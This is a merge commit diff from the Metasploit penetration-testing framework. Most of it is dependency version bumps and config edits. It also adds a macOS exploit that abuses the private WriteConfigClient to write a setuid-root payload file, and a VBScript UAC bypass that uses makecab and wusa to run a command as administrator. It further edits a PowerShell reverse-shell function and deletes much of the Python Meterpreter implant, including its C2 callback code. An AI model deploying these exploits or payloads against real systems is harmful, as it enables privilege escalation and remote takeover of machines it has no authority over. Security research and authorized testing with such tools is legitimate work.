Merge remote-tracking branch 'upstream/master' into reverse-listener-comm
Conflicts: lib/msf/core/handler/reverse_http.rbbug/bundler_fix
commit
a10bf76c29
|
@ -69,7 +69,10 @@ external/source/exploits/**/Release
|
|||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
data/android
|
||||
data/java
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
|
|
|
@ -22,7 +22,7 @@ before_script:
|
|||
- bundle exec rake db:migrate
|
||||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code && bundle exec rake $RAKE_TASKS
|
||||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '2.1.6'
|
||||
|
|
46
Gemfile.lock
46
Gemfile.lock
|
@ -1,33 +1,33 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.0.pre.dev)
|
||||
metasploit-framework (4.11.4)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit-payloads (= 0.0.7)
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.12)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
railties
|
||||
rb-readline-r7
|
||||
recog (~> 1.0)
|
||||
recog (= 2.0.6)
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
sqlite3
|
||||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
metasploit-framework-db (4.11.4)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (~> 1.0)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (~> 1.0)
|
||||
metasploit-credential (= 1.0.0)
|
||||
metasploit-framework (= 4.11.4)
|
||||
metasploit_data_models (= 1.2.5)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit-framework-pcap (4.11.4)
|
||||
metasploit-framework (= 4.11.4)
|
||||
network_interface (~> 0.0.1)
|
||||
pcaprub
|
||||
|
||||
|
@ -104,7 +104,7 @@ GEM
|
|||
i18n (0.7.0)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.2)
|
||||
json (1.8.3)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
metasploit-concern (1.0.0)
|
||||
|
@ -123,8 +123,8 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (0.0.7)
|
||||
metasploit_data_models (1.0.1)
|
||||
metasploit-payloads (1.0.12)
|
||||
metasploit_data_models (1.2.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
arel-helpers
|
||||
|
@ -133,20 +133,20 @@ GEM
|
|||
pg
|
||||
postgres_ext
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
recog (~> 1.0)
|
||||
recog (~> 2.0)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.4.3)
|
||||
mime-types (2.6.1)
|
||||
mini_portile (0.6.2)
|
||||
minitest (4.7.5)
|
||||
msgpack (0.5.11)
|
||||
multi_json (1.11.0)
|
||||
msgpack (0.6.2)
|
||||
multi_json (1.11.1)
|
||||
multi_test (0.1.2)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.12.0)
|
||||
pg (0.18.1)
|
||||
pg (0.18.2)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (2.4.1)
|
||||
activerecord (>= 4.0.0)
|
||||
|
@ -156,7 +156,7 @@ GEM
|
|||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
rack (1.5.2)
|
||||
rack (1.5.5)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (4.0.13)
|
||||
|
@ -174,7 +174,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (1.0.29)
|
||||
recog (2.0.6)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -198,7 +198,7 @@ GEM
|
|||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.5.0)
|
||||
rubyntlm (0.5.1)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
|
@ -222,7 +222,7 @@ GEM
|
|||
thread_safe (0.3.5)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.3)
|
||||
tzinfo (0.3.43)
|
||||
tzinfo (0.3.44)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.6)
|
||||
|
|
|
@ -3,8 +3,7 @@
|
|||
# these days. (No SQLite, no MySQL).
|
||||
#
|
||||
# To set up a metasploit database, follow the directions hosted at:
|
||||
# https://fedoraproject.org/wiki/Metasploit_Postgres_Setup (Works on
|
||||
# essentially any Linux distro, not just Fedora)
|
||||
# http://r-7.co/MSF-DEV#set-up-postgresql
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,33 @@
|
|||
// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa
|
||||
|
||||
#include <dlfcn.h>
|
||||
#include <objc/objc.h>
|
||||
#include <objc/runtime.h>
|
||||
#include <objc/message.h>
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
|
||||
#define FWK_BASE "/System/Library/Frameworks"
|
||||
|
||||
void __attribute__ ((constructor)) test(void)
|
||||
{
|
||||
void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);
|
||||
|
||||
if (p != NULL)
|
||||
{
|
||||
id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
|
||||
objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
|
||||
id tool = objc_msgSend(sharedClient, @selector(remoteProxy));
|
||||
|
||||
NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
|
||||
NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
|
||||
NSData* data = [NSData dataWithContentsOfFile:inpath];
|
||||
|
||||
objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
|
||||
data,
|
||||
outpath,
|
||||
@{ NSFilePosixPermissions : @04777 });
|
||||
}
|
||||
|
||||
exit(1);
|
||||
}
|
Binary file not shown.
Binary file not shown.
|
@ -36,7 +36,7 @@ function powerfun
|
|||
$stream = $sslStream
|
||||
}
|
||||
|
||||
[byte[]]$bytes = 0..255|%{0}
|
||||
[byte[]]$bytes = 0..20000|%{0}
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
Option Explicit
|
||||
|
||||
Dim oWs: Set oWs = CreateObject("WScript.Shell")
|
||||
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
|
||||
Dim HOST_MANIFEST: HOST_MANIFEST = _
|
||||
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
|
||||
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
|
||||
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
|
||||
" manifestVersion=""1.0"">" & vbCrLf & _
|
||||
" <asmv3:trustInfo>" & vbCrLf & _
|
||||
" <security>" & vbCrLf & _
|
||||
" <requestedPrivileges>" & vbCrLf & _
|
||||
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
|
||||
" </requestedPrivileges>" & vbCrLf & _
|
||||
" </security>" & vbCrLf & _
|
||||
" </asmv3:trustInfo>" & vbCrLf & _
|
||||
" <asmv3:application>" & vbCrLf & _
|
||||
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
|
||||
" <autoElevate>true</autoElevate>" & vbCrLf & _
|
||||
" <dpiAware>true</dpiAware>" & vbCrLf & _
|
||||
" </asmv3:windowsSettings>" & vbCrLf & _
|
||||
" </asmv3:application>" & vbCrLf & _
|
||||
"</assembly>"
|
||||
|
||||
|
||||
Sub Copy(ByVal sSource, ByVal sTarget)
|
||||
Dim sTempFile: sTempFile = GetTempFilename()
|
||||
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
|
||||
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
|
||||
oFso.DeleteFile sTempFile
|
||||
End Sub
|
||||
|
||||
Sub Elevate()
|
||||
Const WINDIR = "%windir%"
|
||||
Dim sPath: sPath = Left(WScript.ScriptFullName, _
|
||||
InStrRev(WScript.ScriptFullName, "\"))
|
||||
Dim sHost: sHost = Right(WScript.FullName, 11)
|
||||
Dim sManifest: sManifest = sPath & sHost & ".manifest"
|
||||
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
|
||||
oStream.Write HOST_MANIFEST
|
||||
oStream.Close
|
||||
Copy sManifest, WINDIR
|
||||
Copy WScript.FullName, WINDIR
|
||||
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
|
||||
oFso.DeleteFile sManifest
|
||||
End Sub
|
||||
|
||||
Function GetTempFilename()
|
||||
Const vbTemporaryFolder = 2
|
||||
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
|
||||
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
|
||||
End Function
|
||||
|
||||
Sub RunAsAdmin()
|
||||
oWs.Run "COMMAND"
|
||||
End Sub
|
||||
|
||||
If WScript.Arguments.Named.Exists("RESTART") Then
|
||||
RunAsAdmin
|
||||
Else
|
||||
Elevate
|
||||
End If
|
Binary file not shown.
Binary file not shown.
|
@ -973,6 +973,12 @@ os_detect.getVersion = function(){
|
|||
os_name = "Windows 8";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "1100":
|
||||
// IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
|
||||
ua_version = "11.0";
|
||||
os_name = "Windows 10";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
default:
|
||||
unknown_fingerprint = version;
|
||||
break;
|
||||
|
@ -1027,7 +1033,7 @@ os_detect.getVersion = function(){
|
|||
}
|
||||
switch (navigator.appMinorVersion){
|
||||
case ";SP2;":
|
||||
ua_version += ";SP2";
|
||||
os_sp = "SP2";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -1,763 +0,0 @@
|
|||
#!/usr/bin/python
|
||||
import code
|
||||
import os
|
||||
import platform
|
||||
import random
|
||||
import select
|
||||
import socket
|
||||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
try:
|
||||
import ctypes
|
||||
except ImportError:
|
||||
has_windll = False
|
||||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
# this MUST be imported for urllib to work on OSX
|
||||
try:
|
||||
import SystemConfiguration as osxsc
|
||||
osxsc.SCNetworkInterfaceCopyAll()
|
||||
has_osxsc = True
|
||||
except ImportError:
|
||||
has_osxsc = False
|
||||
|
||||
try:
|
||||
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||
if sys.version_info[0] < 3:
|
||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||
else:
|
||||
urllib = __import__('urllib.request', fromlist=urllib_imports)
|
||||
except ImportError:
|
||||
has_urllib = False
|
||||
else:
|
||||
has_urllib = True
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_str = lambda obj: issubclass(obj.__class__, str)
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
|
||||
# these values may be patched, DO NOT CHANGE THEM
|
||||
DEBUGGING = False
|
||||
HTTP_COMMUNICATION_TIMEOUT = 300
|
||||
HTTP_CONNECTION_URL = None
|
||||
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||
HTTP_PROXY = None
|
||||
HTTP_USER_AGENT = None
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
# not defined in original C implementation
|
||||
ERROR_FAILURE = 1
|
||||
ERROR_FAILURE_PYTHON = 2
|
||||
ERROR_FAILURE_WINDOWS = 3
|
||||
|
||||
CHANNEL_CLASS_BUFFERED = 0
|
||||
CHANNEL_CLASS_STREAM = 1
|
||||
CHANNEL_CLASS_DATAGRAM = 2
|
||||
CHANNEL_CLASS_POOL = 3
|
||||
|
||||
#
|
||||
# TLV Meta Types
|
||||
#
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_QWORD = (1 << 20)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
# not defined in original
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
|
||||
#
|
||||
# TLV base starting points
|
||||
#
|
||||
TLV_RESERVED = 0
|
||||
TLV_EXTENSIONS = 20000
|
||||
TLV_USER = 40000
|
||||
TLV_TEMP = 60000
|
||||
|
||||
#
|
||||
# TLV Specific Types
|
||||
#
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
|
||||
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
||||
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
||||
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
||||
|
||||
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
||||
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
||||
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
||||
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
||||
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
|
||||
|
||||
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
|
||||
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
|
||||
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
|
||||
|
||||
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
|
||||
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
|
||||
|
||||
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
|
||||
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
|
||||
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
|
||||
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
||||
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
||||
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
||||
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
||||
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
||||
|
||||
EXPORTED_SYMBOLS = {}
|
||||
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
|
||||
|
||||
def export(symbol):
|
||||
EXPORTED_SYMBOLS[symbol.__name__] = symbol
|
||||
return symbol
|
||||
|
||||
def generate_request_id():
|
||||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||
return ''.join(random.choice(chars) for x in range(32))
|
||||
|
||||
@export
|
||||
def crc16(data):
|
||||
poly = 0x1021
|
||||
reg = 0x0000
|
||||
if is_str(data):
|
||||
data = list(map(ord, data))
|
||||
elif is_bytes(data):
|
||||
data = list(data)
|
||||
data.append(0)
|
||||
data.append(0)
|
||||
for byte in data:
|
||||
mask = 0x80
|
||||
while mask > 0:
|
||||
reg <<= 1
|
||||
if byte & mask:
|
||||
reg += 1
|
||||
mask >>= 1
|
||||
if reg > 0xffff:
|
||||
reg &= 0xffff
|
||||
reg ^= poly
|
||||
return reg
|
||||
|
||||
@export
|
||||
def error_result(exception=None):
|
||||
if not exception:
|
||||
_, exception, _ = sys.exc_info()
|
||||
exception_crc = crc16(exception.__class__.__name__)
|
||||
if exception_crc == 0x4cb2: # WindowsError
|
||||
return error_result_windows(exception.errno)
|
||||
else:
|
||||
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
|
||||
return result
|
||||
|
||||
@export
|
||||
def error_result_windows(error_number=None):
|
||||
if not has_windll:
|
||||
return ERROR_FAILURE
|
||||
if error_number == None:
|
||||
error_number = ctypes.windll.kernel32.GetLastError()
|
||||
if error_number > 0xffff:
|
||||
return ERROR_FAILURE
|
||||
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
|
||||
return result
|
||||
|
||||
@export
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
return socket.inet_pton(family, address)
|
||||
elif has_windll:
|
||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
lpAddress = (ctypes.c_ubyte * 28)()
|
||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||
raise Exception('WSAStringToAddress failed')
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(map(chr, lpAddress[4:8]))
|
||||
elif family == socket.AF_INET6:
|
||||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
|
||||
@export
|
||||
def packet_enum_tlvs(pkt, tlv_type = None):
|
||||
offset = 0
|
||||
while (offset < len(pkt)):
|
||||
tlv = struct.unpack('>II', pkt[offset:offset+8])
|
||||
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
|
||||
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
|
||||
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
val = str(val.split(NULL_BYTE, 1)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
val = struct.unpack('>I', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
val = struct.unpack('>Q', val)[0]
|
||||
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
val = bool(struct.unpack('b', val)[0])
|
||||
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
pass
|
||||
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
|
||||
offset += tlv[0]
|
||||
raise StopIteration()
|
||||
|
||||
@export
|
||||
def packet_get_tlv(pkt, tlv_type):
|
||||
try:
|
||||
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
|
||||
except IndexError:
|
||||
return {}
|
||||
return tlv
|
||||
|
||||
@export
|
||||
def tlv_pack(*args):
|
||||
if len(args) == 2:
|
||||
tlv = {'type':args[0], 'value':args[1]}
|
||||
else:
|
||||
tlv = args[0]
|
||||
data = ""
|
||||
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
|
||||
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
|
||||
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
|
||||
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
|
||||
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
|
||||
else:
|
||||
value = tlv['value']
|
||||
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
|
||||
value = value.encode('UTF-8')
|
||||
elif not is_bytes(value):
|
||||
value = bytes(value, 'UTF-8')
|
||||
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
|
||||
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
|
||||
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
|
||||
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
|
||||
return data
|
||||
|
||||
#@export
|
||||
class MeterpreterFile(object):
|
||||
def __init__(self, file_obj):
|
||||
self.file_obj = file_obj
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.file_obj, name)
|
||||
export(MeterpreterFile)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocket(object):
|
||||
def __init__(self, sock):
|
||||
self.sock = sock
|
||||
|
||||
def __getattr__(self, name):
|
||||
return getattr(self.sock, name)
|
||||
export(MeterpreterSocket)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketClient(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketClient)
|
||||
|
||||
#@export
|
||||
class MeterpreterSocketServer(MeterpreterSocket):
|
||||
pass
|
||||
export(MeterpreterSocketServer)
|
||||
|
||||
class STDProcessBuffer(threading.Thread):
|
||||
def __init__(self, std, is_alive):
|
||||
threading.Thread.__init__(self)
|
||||
self.std = std
|
||||
self.is_alive = is_alive
|
||||
self.data = bytes()
|
||||
self.data_lock = threading.RLock()
|
||||
|
||||
def run(self):
|
||||
for byte in iter(lambda: self.std.read(1), bytes()):
|
||||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
return len(self.data) != 0
|
||||
|
||||
def peek(self, l = None):
|
||||
data = bytes()
|
||||
self.data_lock.acquire()
|
||||
if l == None:
|
||||
data = self.data
|
||||
else:
|
||||
data = self.data[0:l]
|
||||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
def read(self, l = None):
|
||||
self.data_lock.acquire()
|
||||
data = self.peek(l)
|
||||
self.data = self.data[len(data):]
|
||||
self.data_lock.release()
|
||||
return data
|
||||
|
||||
#@export
|
||||
class STDProcess(subprocess.Popen):
|
||||
def __init__(self, *args, **kwargs):
|
||||
subprocess.Popen.__init__(self, *args, **kwargs)
|
||||
self.echo_protection = False
|
||||
|
||||
def start(self):
|
||||
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
|
||||
self.stdout_reader.start()
|
||||
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
|
||||
self.stderr_reader.start()
|
||||
|
||||
def write(self, channel_data):
|
||||
self.stdin.write(channel_data)
|
||||
self.stdin.flush()
|
||||
if self.echo_protection:
|
||||
end_time = time.time() + 0.5
|
||||
out_data = bytes()
|
||||
while (time.time() < end_time) and (out_data != channel_data):
|
||||
if self.stdout_reader.is_read_ready():
|
||||
out_data = self.stdout_reader.peek(len(channel_data))
|
||||
if out_data == channel_data:
|
||||
self.stdout_reader.read(len(channel_data))
|
||||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket=None):
|
||||
self.socket = socket
|
||||
self.driver = None
|
||||
self.running = False
|
||||
self.communications_active = True
|
||||
self.communications_last = 0
|
||||
if self.socket:
|
||||
self.driver = 'tcp'
|
||||
elif HTTP_CONNECTION_URL:
|
||||
self.driver = 'http'
|
||||
self.last_registered_extension = None
|
||||
self.extension_functions = {}
|
||||
self.channels = {}
|
||||
self.interact_channels = []
|
||||
self.processes = {}
|
||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||
self.extension_functions[func[1:]] = getattr(self, func)
|
||||
if self.driver:
|
||||
if hasattr(self, 'driver_init_' + self.driver):
|
||||
getattr(self, 'driver_init_' + self.driver)()
|
||||
self.running = True
|
||||
|
||||
def debug_print(self, msg):
|
||||
if DEBUGGING:
|
||||
print(msg)
|
||||
|
||||
def driver_init_http(self):
|
||||
opener_args = []
|
||||
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
|
||||
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
|
||||
import ssl
|
||||
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
|
||||
ssl_ctx.check_hostname=False
|
||||
ssl_ctx.verify_mode=ssl.CERT_NONE
|
||||
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
|
||||
if HTTP_PROXY:
|
||||
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
|
||||
opener = urllib.build_opener(*opener_args)
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
self._http_last_seen = time.time()
|
||||
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
||||
|
||||
def register_extension(self, extension_name):
|
||||
self.last_registered_extension = extension_name
|
||||
return self.last_registered_extension
|
||||
|
||||
def register_function(self, func):
|
||||
self.extension_functions[func.__name__] = func
|
||||
return func
|
||||
|
||||
def register_function_windll(self, func):
|
||||
